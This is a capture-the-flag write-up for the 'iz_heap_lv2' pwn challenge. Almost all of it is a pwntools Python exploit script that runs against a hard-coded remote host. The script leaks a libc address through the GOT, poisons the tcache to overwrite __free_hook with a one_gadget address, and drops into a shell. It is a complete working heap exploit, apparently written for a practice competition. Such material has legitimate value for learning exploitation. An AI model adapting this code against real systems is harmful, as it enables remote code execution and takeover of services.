[iz_heap_lv2 binaries](https://github.com/fr0zn/CTF/tree/master/isitdtu-quals/pwn/iz_heap_lv2)

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

BIN_NAME = "./iz_heap_lv2"
LIBC_NAME = "./libc.so.6"

HOST = "165.22.110.249"
PORT = 4444

def add(size, data):
p.sendlineafter('Choice:', '1')
p.sendlineafter('size:', str(size))
p.sendafter('data:', data)

def edit(index, data=None):
p.sendlineafter('Choice:', '2')
p.sendlineafter('index:', str(index))
if data:
p.sendafter('data:', data)

def delete(index):
p.sendlineafter('Choice:', '3')
p.sendlineafter('index:', str(index))

def show(index):
p.sendlineafter('Choice:', '4')
p.sendlineafter('index:', str(index))
p.recvuntil('Data: ')
return p.recvuntil('\n', drop=True)

def exploit(p):

add(e.got['printf'], 'AAAAAAAA')
printf_got = u64(show(20).ljust(8,'\x00'))

libc_base = printf_got - libc.sym['printf']
free_hook = libc_base + libc.sym['__free_hook']
one_shot = libc_base + 0x4f322

log.info("libc @ " + hex(libc_base))
log.info("one_shot @ " + hex(one_shot))
log.info("__free_hook @ " + hex(free_hook))

delete(0)

add(0x602048, 'AAAAAAAA')
add(127, 'BBBBBBBB')
add(127, 'CCCCCCCC')

chunk_ptr = u64(show(20).ljust(8,'\x00'))

delete(0)

add(chunk_ptr, 'DDDDDDDD')

delete(20)

delete(2)
delete(1)

add(127, p64(free_hook))
add(127, '1')
add(127, '2')

add(127, p64(one_shot))

delete(0)

p.interactive()

if __name__ == "__main__":

e = ELF(BIN_NAME)

libc = ELF(LIBC_NAME)
env = dict(LD_PRELOAD = LIBC_NAME)

p = remote(HOST, PORT)
# p = process(BIN_NAME, env=env)

exploit(p)
```

Original writeup (https://github.com/fr0zn/CTF/tree/master/isitdtu-quals/pwn/iz_heap_lv2).